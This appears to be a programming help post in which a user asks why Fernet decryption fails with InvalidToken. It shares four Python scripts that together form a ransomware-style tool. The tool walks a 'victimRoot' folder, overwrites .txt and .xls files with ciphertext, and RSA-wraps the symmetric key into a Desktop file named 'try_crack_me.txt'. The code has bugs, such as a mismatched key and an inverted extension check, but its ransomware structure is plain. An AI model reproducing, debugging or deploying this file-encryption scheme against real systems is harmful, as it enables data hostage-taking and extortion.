I am trying to solve this decrypting issue. I encrypted an entire folder with a fernet key (this part was working perfectly) but now the decryption is not working. I am using the fernet module in python 3.
it is always printing the same Error: raise InvalidToken cryptography.fernet.InvalidToken
First I thought I needed to add binary so I changed from 'r' to 'rb' but it did not solve the problem.
File 1 - generating fernet and RSA keys
from cryptography.fernet import Fernet
from Crypto.PublicKey import RSA
fernet_key = Fernet.generate_key()
with open('fernetkey.txt', 'wb') as f:
f.write(fernet_key)
key = RSA.generate(2048)
private_key = key.export_key()
with open('privatekey.pem', 'wb') as f:
f.write(private_key)
public_key = key.publickey().export_key()
with open('publickey.pem', 'wb') as f:
f.write(public_key)
File 2 - encrypt the data
from cryptography.fernet import Fernet # to create a symmetric fernet key
from Crypto.PublicKey import RSA #used for encryption/decryption
from Crypto.Cipher import PKCS1_OAEP #used for encryption/decryption
import os # to get system root
class Encryption:
file_ex = [
'txt', 'xls'
]
def __init__(self):
self.sysRoot = os.path.expanduser('~')
self.victimRoot = r'C:/Users/Veronika/Desktop/Easy_Example/Folder/victimRoot'
def fernetkey(self):
self.fernet_key = Fernet.generate_key()
self.crypter = Fernet(self.fernet_key)
with open('fernetkey.txt', 'rb') as f:
self.fernet_key = f.read()
def encrypt_system(self):
system = os.walk(self.victimRoot, topdown=True)
for root, dirs, files in system:
for file in files:
file_path = os.path.join(root, file)
if not file.split('.')[-1] in self.file_ex:
continue
self.encrypt_files(file_path)
def encrypt_files(self, file_path):
with open(file_path, 'rb') as f:
data = f.read()
_data = self.crypter.encrypt(data)
print('Files are encrypted!')
with open(file_path, 'wb') as fp:
fp.write(_data)
def encrypt_key(self):
self.public_key = RSA.import_key(open('publickey.pem').read())
self.public_crypter = PKCS1_OAEP.new(self.public_key)
self.fernet_key = Fernet.generate_key()
with open('fernetkey.txt', 'rb') as f:
self.fernet_key = f.read()
enc_fernet_key = self.public_crypter.encrypt(self.fernet_key)
with open(f'{self.sysRoot}/Desktop/try_crack_me.txt', 'wb') as ef:
ef.write(enc_fernet_key)
def main():
rw = Encryption()
rw.fernetkey()
rw.encrypt_system()
rw.encrypt_key()
if __name__ == '__main__':
main()
File 3 - decrypt the key
from cryptography.fernet import Fernet
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
private_key = RSA.import_key(open('privatekey.pem').read())
private_crypter = PKCS1_OAEP.new(private_key)
with open ('try_crack_me.txt', 'rb') as f:
enc_fernet_key = f.read()
decrypted_fernet_key = private_crypter.decrypt(enc_fernet_key)
print(decrypted_fernet_key)
with open('decrypt_with_me.txt', 'wb') as df:
df.write(decrypted_fernet_key)
File 4 - decrypt the data (this is where the issue pops up)
from cryptography.fernet import Fernet # to create a symmetric fernet key
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import os
class Decryption:
file_ex = [
'txt', 'xls'
]
def __init__(self):
self.sysRoot = os.path.expanduser('~')
self.victimRoot = r'C:/Users/Veronika/Desktop/Easy_Example/Folder/victimRoot'
def decrypt(self):
print('Trying to decrypt - looking for decrypt_with_me.txt')
with open('decrypt_with_me.txt', 'rb') as f:
self.fernet_key = f.read()
def encrypt_system(self):
system = os.walk(self.victimRoot, topdown=True)
for root, dirs, files in system:
for file in files:
file_path = os.path.join(root, file)
if not file.split('.')[-1] in self.file_ex:
self.encrypt_files(file_path)
def encrypt_files(self, file_path):
with open(file_path, 'rb') as f:
encrypted_data = f.read()
self.crypter = Fernet(self.fernet_key)
new_data = self.crypter.decrypt(encrypted_data)
with open(file_path, 'wb') as f:
f.write(new_data)
print('Files are now decrypted.')
def main():
rw = Decryption()
rw.decrypt()
rw.encrypt_system()
if __name__ == '__main__':
main()